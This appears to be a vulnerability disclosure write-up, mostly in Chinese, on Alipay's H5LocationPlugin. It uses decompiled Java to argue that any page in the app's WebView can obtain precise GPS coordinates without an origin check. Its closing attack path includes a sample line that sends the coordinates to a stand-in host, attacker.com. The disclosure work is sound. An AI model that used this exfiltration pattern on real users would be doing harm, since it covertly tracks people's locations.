mirror of
https://github.com/sgInnora/alipay-deeplink-research
synced 2026-07-04 17:13:13 +08:00
- Meta/OG/Twitter tags: 17→36 CVEs, 6→9+ countries, SecurityGuard SDK keywords - Sitemap: 5→12 URLs with correct lastmod dates - Privacy: redact CSSF/CIRCL/PDPC case numbers, mask regulator staff names - Content: add 6 new article pages + evidence screenshots - Numbers: update all CVE counts (6→36, 11 MITRE tickets) Co-Authored-By: Claude <noreply@anthropic.com>
179 lines
6.9 KiB
Markdown
179 lines
6.9 KiB
Markdown
# CVE-2: GPS静默外泄 (CWE-359) 代码证据
|
||
|
||
> APK 版本: Alipay 10.8.30.8000 | jadx 反编译输出
|
||
> 更新: 2026-03-16 — 补充完整 judgeGrant 代码证据
|
||
|
||
## 关键类/方法
|
||
|
||
### H5LocationPlugin — judgeGrant() 权限检查逻辑
|
||
- 文件: `sources/com/alipay/mobile/h5plugin/H5LocationPlugin.java`
|
||
- 行号: 1367-1395
|
||
|
||
```java
|
||
public boolean judgeGrant(H5Page h5Page, H5BridgeContext h5BridgeContext) {
|
||
// ...
|
||
boolean z = false;
|
||
if (h5Page == null) {
|
||
return false;
|
||
}
|
||
LBSService lBSService = (LBSService) ComponentService.get(LBSService.class);
|
||
if (lBSService != null && lBSService.hasLocationPermission()) {
|
||
z = true; // 唯一判断条件: OS 级别的位置权限是否已授予支付宝进程
|
||
}
|
||
// 缺失检查: h5Page.getUrl() 的域名白名单
|
||
// 缺失检查: 调用方 mini-program appId 白名单
|
||
// 缺失检查: 用户针对本次请求页面的明确同意
|
||
if (!z) {
|
||
JSONObject jSONObject = new JSONObject();
|
||
jSONObject.put("error", (Object) 16);
|
||
jSONObject.put("errorMessage", (Object) H5PluginResourceUtil.getString("get_location_auth_failed"));
|
||
if (h5BridgeContext != null) {
|
||
h5BridgeContext.sendBridgeResult(jSONObject);
|
||
}
|
||
}
|
||
return z;
|
||
}
|
||
```
|
||
|
||
### H5LocationPlugin — getLocation() 分发
|
||
- 文件: `sources/com/alipay/mobile/h5plugin/H5LocationPlugin.java`
|
||
- 行号: 949-958
|
||
|
||
```java
|
||
public void getLocation(H5Event h5Event, H5BridgeContext h5BridgeContext, long j) {
|
||
// ...
|
||
LoggerFactory.getTraceLogger().info("H5LocationPlugin", "getLocation");
|
||
if (judgeGrant(h5Event.getTarget() instanceof H5Page ? (H5Page) h5Event.getTarget() : null, h5BridgeContext)) {
|
||
new H5GetLocationAction(h5Event, h5BridgeContext, this.h5Location, j).handleEvent();
|
||
// ^ 直接返回 GPS 坐标给 WebView 回调,无页面来源检查
|
||
} else {
|
||
LoggerFactory.getTraceLogger().info("H5LocationPlugin", "getLocation, no grant auth");
|
||
}
|
||
}
|
||
```
|
||
|
||
### H5LocationPlugin — onPrepare() JSAPI 注册 (无页面域名过滤)
|
||
- 文件: `sources/com/alipay/mobile/h5plugin/H5LocationPlugin.java`
|
||
- 行号: 1397-1426
|
||
|
||
```java
|
||
@Override
|
||
public void onPrepare(H5EventFilter h5EventFilter) {
|
||
// ...
|
||
h5EventFilter2.addAction("getLocation"); // 所有加载的页面均可调用
|
||
h5EventFilter2.addAction("getCurrentLocation");
|
||
h5EventFilter2.addAction("prefetchLocation");
|
||
// ... 16 个位置相关 API 均无来源过滤
|
||
// 注意: 没有域名/appId 白名单过滤
|
||
}
|
||
```
|
||
|
||
---
|
||
|
||
## 原有分析 (保留)
|
||
|
||
## Source: Alipay APK 10.8.30.8000 (jadx decompiled)
|
||
|
||
### H5LocationPlugin — judgeGrant
|
||
**File**: `sources/com/alipay/mobile/h5plugin/H5LocationPlugin.java`
|
||
**Lines**: 1367-1395
|
||
|
||
```java
|
||
public boolean judgeGrant(H5Page h5Page, H5BridgeContext h5BridgeContext) {
|
||
// ...
|
||
boolean z = false;
|
||
if (h5Page == null) {
|
||
return false;
|
||
}
|
||
LBSService lBSService = (LBSService) ComponentService.get(LBSService.class);
|
||
if (lBSService != null && lBSService.hasLocationPermission()) {
|
||
z = true;
|
||
}
|
||
if (!z) {
|
||
JSONObject jSONObject = new JSONObject();
|
||
jSONObject.put("error", (Object) 16);
|
||
jSONObject.put("errorMessage", (Object) H5PluginResourceUtil.getString("get_location_auth_failed"));
|
||
if (h5BridgeContext != null) {
|
||
h5BridgeContext.sendBridgeResult(jSONObject);
|
||
}
|
||
// ...
|
||
}
|
||
return z;
|
||
}
|
||
```
|
||
|
||
### H5LocationPlugin — getLocation dispatch
|
||
**File**: `sources/com/alipay/mobile/h5plugin/H5LocationPlugin.java`
|
||
**Lines**: 949-958
|
||
|
||
```java
|
||
public void getLocation(H5Event h5Event, H5BridgeContext h5BridgeContext, long j) {
|
||
// ...
|
||
LoggerFactory.getTraceLogger().info("H5LocationPlugin", "getLocation");
|
||
if (judgeGrant(h5Event.getTarget() instanceof H5Page ? (H5Page) h5Event.getTarget() : null, h5BridgeContext)) {
|
||
new H5GetLocationAction(h5Event, h5BridgeContext, this.h5Location, j).handleEvent();
|
||
} else {
|
||
LoggerFactory.getTraceLogger().info("H5LocationPlugin", "getLocation, no grant auth");
|
||
}
|
||
}
|
||
```
|
||
|
||
### H5LocationPlugin — prefetchLocation also calls judgeGrant
|
||
**File**: `sources/com/alipay/mobile/h5plugin/H5LocationPlugin.java`
|
||
**Lines**: 1462-1469
|
||
|
||
```java
|
||
public void prefetchLocation(H5Event h5Event, H5BridgeContext h5BridgeContext, long j) {
|
||
// ...
|
||
if (judgeGrant(h5Event.getTarget() instanceof H5Page ? (H5Page) h5Event.getTarget() : null, h5BridgeContext)) {
|
||
if (this.h5Location == null) {
|
||
LoggerFactory.getTraceLogger().info("H5LocationPlugin", "prefetchLocation, h5Location == null");
|
||
} else {
|
||
this.h5Location.getLocation(h5Event, h5BridgeContext, new LocationListener(this, h5Event) { ... });
|
||
}
|
||
}
|
||
}
|
||
```
|
||
|
||
### Vulnerability Analysis (原有)
|
||
|
||
The `judgeGrant` method is the sole access-control gate for the `getLocation` JSBridge API. Its decision logic is exactly: **if the OS-level location permission has been granted to the Alipay process, return `true`**. There is no inspection of the WebView page origin (URL/domain), no mini-program appId allowlist, and no user-visible consent prompt scoped to the requesting page.
|
||
|
||
Because Alipay routinely holds the OS location permission (required for native features such as nearby services and maps), `lBSService.hasLocationPermission()` returns `true` in practice for all users who have ever opened the app's location-dependent features. As a result, any untrusted page loaded in a Nebula WebView — including a page reached via the `alipays://platformapi/startapp` deep-link — can call the `my.getLocation` JSBridge method and receive the device's precise GPS coordinates without any additional user confirmation. The coordinates are returned in the JSBridge callback and can be forwarded to an attacker-controlled server silently in the background.
|
||
|
||
---
|
||
|
||
## 漏洞根因 (基于代码分析)
|
||
|
||
`H5LocationPlugin.judgeGrant()` 是 `getLocation` JSAPI 的**唯一访问控制门**。其判断逻辑:
|
||
|
||
```
|
||
if (lBSService.hasLocationPermission()) → return true
|
||
```
|
||
|
||
该方法仅检查支付宝进程是否获得过 OS 位置权限(用户曾经授权即永久 true),**完全没有**:
|
||
- 检查 `h5Page.getUrl()` 的域名
|
||
- 检查调用方的 appId 白名单
|
||
- 向用户展示"某页面想获取你的位置"的确认对话框
|
||
|
||
`onPrepare()` 在注册 `getLocation` 动作时也无任何域名过滤,任何加载到 Nebula H5 容器的页面均可触发。
|
||
|
||
## 攻击路径
|
||
|
||
```
|
||
攻击者控制的网页 (https://attacker.com)
|
||
↓ 通过 CVE-1 DeepLink 或直接链接被加载进支付宝 WebView
|
||
↓
|
||
my.getLocation({ type: 2 }) [JSBridge 调用]
|
||
↓
|
||
H5LocationPlugin.handleEvent() → getLocation()
|
||
↓
|
||
judgeGrant(): lBSService.hasLocationPermission() == true [用户曾授权过]
|
||
↓
|
||
H5GetLocationAction.handleEvent() → 获取精确 GPS 坐标
|
||
↓
|
||
坐标通过 JSBridge 回调返回给攻击者页面
|
||
↓
|
||
fetch("https://attacker.com/collect?lat=...&lng=...") [静默上传]
|
||
```
|